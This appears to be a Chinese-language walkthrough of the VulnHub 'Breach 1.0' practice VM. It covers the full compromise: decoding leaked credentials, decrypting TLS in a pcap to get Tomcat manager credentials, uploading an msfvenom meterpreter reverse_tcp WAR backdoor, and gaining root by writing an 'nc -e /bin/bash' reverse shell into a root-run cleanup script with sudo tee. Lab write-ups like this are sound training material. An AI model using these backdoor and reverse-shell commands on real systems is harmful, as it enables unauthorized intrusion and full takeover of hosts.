项目介绍

VulnHub是一个面向所有人开放的黑客游戏靶场练习平台,里面有好多锻炼黑客技术,学习黑客技术的游戏虚拟机供所有人下载攻打,里面大部分靶场主机都是需要控制虚拟机,获得主机的最高权限才算挑战成功,只要下载相关镜像,在相关虚拟机软件上面运行就可以进行游戏了。

游戏目标

本次靶场名为Breach 1.0之后还有Breach 2.0和Breach 3.0为中等难度的渗透练习靶场,目标是通过收集信息,利用漏洞,获取到最root账户权限下的flag。

环境搭建

1、官网下载链接:https://www.vulnhub.com/entry/breach-1,152/

2、下载下载之后,使用Oracle VM VirtualBox,导入环境

3、启动虚拟机,因为靶场虚机配置有静态IP地址(192.168110 140),需要将虚拟机网卡设置为host-only仅主机的方式。为了方便练习,我将kali攻击机,添加了一块虚拟网卡,第二块网卡设置的网段跟虚拟机同一网段。

kali虚拟机网络

靶场攻略

1、因为知道了靶场环境的ip地址,所以可以直接使用nmap扫描端口,查询突破口,但是扫描之后发现端口全是打开的,显然是做了防端口扫描

2、根据靶场规律,直接访问ip地址,发现有http服务

3、查看首页源码,发现有一串Base64加密的字符串

base64编码后的字符串的长度一定会被4整除,包括用作后缀的等号吧;如果明文字符数不能被3整除,余1时,1个字符转为2个,补2个等号,共4个字符;余2时,2个字符转为3个字符,补1个等号,共4个字符;其实归根结底就是一句话:经过base64编码后的字符串长度一定会被4整除(包括后缀等号)

1)标准base64只有64个字符(英文大小写、数字和+、/)以及用作后缀等号;

2)base64是把3个字节变成4个可打印字符,所以base64编码后的字符串一定能被4整除(不算用作后缀的等号);

3)等号一定用作后缀,且数目一定是0个、1个或2个。这是因为如果原文长度不能被3整除,base64要在后面添加\0凑齐3n位。为了正确还原,添加了几个\0就加上几个等号。显然添加等号的数目只能是0、1或2;

4)严格来说base64不能算是一种加密,只能说是编码转换。使用base64的初衷。是为了方便把含有不可见字符串的信息用可见字符串表示出来,以便复制粘贴;

4、使用命令 echo Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo | base64 -d,解密

解密之后,还是一串base64的字符,再次解密,得到一串明文字符:pgibbons:damnitfeel$goodtobeagang$ta,暂时不知道作用,记下来

5、源码里有个地址,点开访问,发现另外的页面

6、打开Employee portal,进入到impresscms的登录界面 7、使用之前base64节解密出来的账号密码登录成功

8、使用命令,searchsploit impresscms,找到impresscms的/modules/profile/admin/field.php文件存在SQL注入漏洞,想要利用,但是发现没有权限访问该文件

9、看到有3个邮件消息,看是否有提示信息

第1封邮件,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全,发自ImpressCMS Admin Bill,如下:

第2封邮件,主要内容:Michael采购了IDS/IPS。

第3封邮件,主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore

10、根据邮件提示,到下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式,下载下来保存好 11、在左侧菜单一个个点开,发现目录列表,但是找不到可以利用的文件

12、点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接,如下图:

13、点开提示的,http://192.168.110.140/impresscms/modules/content/content.php?content_id=1,发现一个流量包文件,下载下来

 14、该页面有重要的提示信息:这个pCAP文件是有红色团队的重新攻击产生的,但是不能读取文件。而且They told me the alias, storepassword and keypassword are all set to 'tomcat'别名、Keystore密码、key密码都设置成tomcat。由此推测:1)这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;2)系统中可能存在tomcat。

15、接下来要使用keytool生成ssl加密证书

在下载了keystore文件的目录中打开终端,输入命令:keytool -list -keystore keystore,输入口令tomcat,查看keystore密钥库中的证书

接下来,从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书,输入命令:keytool -importkeystore -srckeystore keystore  -destkeystore tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

16、将生成的tomcatkeystore.p12证书,导入wireshark

1)使用wireshark打开下载的_SSL_test_phase1.pcap文件

2)点击编辑--首选项--Protocols--TLS,点击Edit编辑,IPaddress填写192.168.110.140,Port填写8443,Protocol填写http,Key File选择生成的tomcatkeystore.p12文件,Password填写tomcat

3)编辑好之后,看到下边TlsV1.2加密的部分,发现有疑似图片马,命令执行的数据包

17、分析浏览量数据包,发现一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html

发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC,展开,看到明文的账号密码,用户名:tomcat,密码:Tt\5D8F(#!*u=G)4m7zB

18、利用获取到的信息来getshell,首先登录tomcat后台

1)访问https://192.168.110.140:8443/_M@nag3Me/html,发现提示建立连接失败

2)打开Burpsuite,使用BP进行代理,将BP的代理模式关闭,让数据包自动放行,再次访问,出现的界面就不相同了,选择接受风险,出现tomcat登录窗口,输入之前得到的账号密码,登录成功

19、使用msfvenom生成后门文件,输入命令:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.122 LPORT=1234 -f jsp -o shell.jsp

将shell.jsp进行压缩,输入命令:zip -r shell.zip shell.jsp

将shell.zip转化成war格式,用来上传到tomcat,输入命令:cp shell.zip shell.war 20、启动msfconsole,设置监听

输入命令: use exploit/multi/handler,进入监听要利用的exp

输入命令:set payload linux/x64/meterpreter/reverse_tcp,设置执行生成脚本使用的payload

输入命令:set lhost,设置生成后门时候设置的ip地址

输入命令:set lport,设置生成后门时候设置的监听端口

输入命令:run,开始监听

21、在tomcat管理界面,将生成是shell.war后门上传

上传之后,点击上传的源码,访问到生成的后门文件路径

访问https://192.168.110.140:8443/shell/shell.jsp,在msf下顺利拿到shell

22、执行命令,python -c 'import pty;pty.spawn("/bin/sh")' 得到一个交互式的shell

23、开始收集靶机内信息,想办法提权,看到两个值得关注的账户

在/var/www/5446目录下,看到两个文件名很特殊的文件

查看文件,发现是mysql的数据库连接文件,使用的root账户,不需要密码

24、输入命令,mysql  -u root -p ,进入mysql,提示输入密码,直接回车,成功连接进入mysql数据库,查看账号密码,得到milton账户的密码哈希,解密为:thelaststraw

 25、退出mysql,使用命令,su milton,输入密码,成功登录milton账户

账户milton目录下,发现的some_script.sh脚本,没有可利用的地方

26、查看系统内核,uname -a,得知内核版本为Linux Breach 4.2.0-27-generic

查看历史命令,发现有切换到blumbergh这个账户的操作,操作之后有切换到root的操作,所以可能提权要进入到blumbergh这个账户

27、继续收集信息,http://192.168.110.140/images/,目录下找到6张图片,milton用户目录下,发现1张图片

28、使用exiftool工具,查看图片,输入命令:exiftool bill.png ,发现密码:coffeestains

29、切换到blumbergh账户,输入之前图片中得到的密码,切换成功

进入blumbergh目录下,查看blumbergh账户的历史命令,发现/usr/share/cleanup目录下的,tidyup.sh脚本文件

一样进入目录,查看脚本,为root账户才能读写的,用来清理删除webapps目录下的文件的脚本

30、输入命令:sudo -l,查看能够root权限执行的命令有tee

31、进行最后一步的提权

tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:

cd /home/blumbergh,切换到blumbergh的家目录中,

echo "nc -e /bin/bash 192.168.110.122 2345" > shell.txt,将nc执行的反弹shell命令,写入到shell.txt文件

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh,使用tee命令将shell.txt内容输出到tidyup.sh

查看tidyup.sh文件写入成功:

32、kali攻击机中,输入命令:nc -lvvp 2345,监听2345端口的动静,等到一段时间,成功接到root的shell

33、查看/root目录下,有个flair.jpg的文件,应该是最后的flag,将文件再次复制到/var/www/html/images中,查看图片,成功得到flag

结语

这次的靶场难度还是挺适中的,主要练习的为关键信息的收集,加密和解密,数据流量包的审计等,有兴趣的朋友可以搭建学习。

祝大家天天开心,学习进步~

0宽字符加密_vulnhub实战靶场攻略:Breach 1.0相关推荐

  1. 0宽字符加密_艺术鬼才!Unicode 字符还能这么玩?

    上周的时候,朋友圈的直升飞机不知道为什么就火了,很多朋友开着各种花式飞机带着起飞. 还没来得及了解咋回事来着,这个直升飞机就 到的微博热搜. 后面越来越多人开来他们的直升飞机,盘旋在朋友圈上方.于是很 ...

  2. 0宽字符加密_一文看懂异或加密,有动画演示呦

    应用程序保护是指单词和应用程序 什么是异或加密 在逻辑运算中,除了 与 或 非 这 3 种运算之外,还有一种运算运算叫做 异或(xor),符号记为 ^,异或运算简单来说就是 相同为 0,不同为 1, ...

  3. 0宽字符加密_使用 Go 语言实现凯撒加密

    在 2 世纪, 发送机密消息的一个有效方法就是对每个字母进行位移, 使得 'a' 变为 'd' , 'b' 变为 'e' , 依次类推. 这样处理产生的结果看上去就像是一门外语: L fdph, L ...

  4. 0宽字符加密_前端AES加密方式分析,及其python实现

    在前端常见的加密方式中AES很少使用,因为相对于非对称的RSA安全性很低,AES是典型的对称加密,密钥就在前端源码里. 案列网站是http://ewt360.com,一个并不复杂的网站,首先抓个包看看 ...

  5. 0宽字符加密_「今日学习」VUE使用RSA加密技术

    1 Vue端搭建 首先我们还是先安装必要的模块哈: npm install jsencrypt --save 接下来我们需要在main.js的配置文件中配置上全局变量哈: import JSEncry ...

  6. 短视频实战全攻略:从0开始打造爆款抖音号

    @抖音零基础学习 在这个短视频时代,一个人出名可能只需要15秒.一首歌能不能火爆全网,也靠这珍贵的15秒. 你是从什么时候开始意识到抖音火了?当地铁上魔性的背景音乐此起彼伏的时候?当音乐软件上霸榜歌曲 ...

  7. 最新版 SQL 8.0.21 安装与初次运行全攻略

    最新版 SQL 8.0.21 安装与初次运行全攻略 SQL 8.0.21 从官网下载SQL dmg 文件 电脑端安装 SQL的密码设置问题 SQL 8.0.21 SQL软件两年前曾在旧电脑上安装过一次 ...

  8. hbuilder怎么没法插入字符了_一个你所不知道的加密方式--零宽字符加密

    开门见山 什么是0宽字符? 顾名思义,就是字节宽度为0的特殊字符. 比如: 你‏‏‍‎‏‍‌​‏‌‌‌‎‎‏好 看起来是一句简单的打招呼,实际上还有隐含信息. 我们把它复制到这里 Zero Width ...

  9. 身经历无线路由密码攻防实战全攻略

    随着网络技术的飞速发展,越来越多的路由交换设备开始抛弃使用命令行配置界面而转向图形化设置界面.然而这种转变却给入侵者带来了机会,传统命令行界面下的攻击与入侵相对来说比较困难,因为命令行界面开放的服务与 ...

最新文章

  1. jvm系列(四):jvm调优-命令大全(jps jstat jmap jhat jstack jinfo)
  2. pytorch基础函数学习
  3. 每小时的定时任务变成了每分钟
  4. pi数据库系统中国服务器,基于PI数据库的服务器实时监控系统研究与开发
  5. 目标跟踪ObjectT综述介绍
  6. vim下更省心地用中文
  7. 如何避免JS内存泄漏?
  8. java 多线程两种方式_JAVA多线程实现的两种方式
  9. NuGet(Nuget Packages)
  10. fiddler APP抓包设置
  11. web怎么在圆圈里画半html,在WEB里绘制爱心
  12. ruby学习笔记(7)
  13. python美多商城项目百度网盘_美多商城项目(十)
  14. Qt 学习之路 2(3):Hello, world!
  15. mockito验证参数_Mockito验证
  16. python批量删除行_用python批量删除sheet
  17. 【JS】1007- JavaScript实现网页截屏的5种方法
  18. ADS1258---FPGA驱动(一)
  19. windows控制iPhone(不需要蓝牙)
  20. Windows MSDN 操作系统微软官方镜像

热门文章

  1. 基于JAVA+SpringMVC+Mybatis+MYSQL的客户关系管理系统
  2. 基于JAVA+SpringMVC+MYSQL的勤工助学管理系统
  3. linux查看和终止进程,linux 查看并终止进程
  4. postman自动打开_postman---postman自动发博客
  5. Spring的线程安全
  6. 后台拿webshell的方法总结
  7. File类的mkdir()与mkdirs()方法的区别
  8. 倒数58天 -- 分治法 -- 使用循环求方程的一个解
  9. Python框架篇之Django(Template模版:标签tag、自定义filter、extend模板继承)
  10. Scrapy爬虫报错AttributeError: ‘NoneType‘ object has no attribute ‘write‘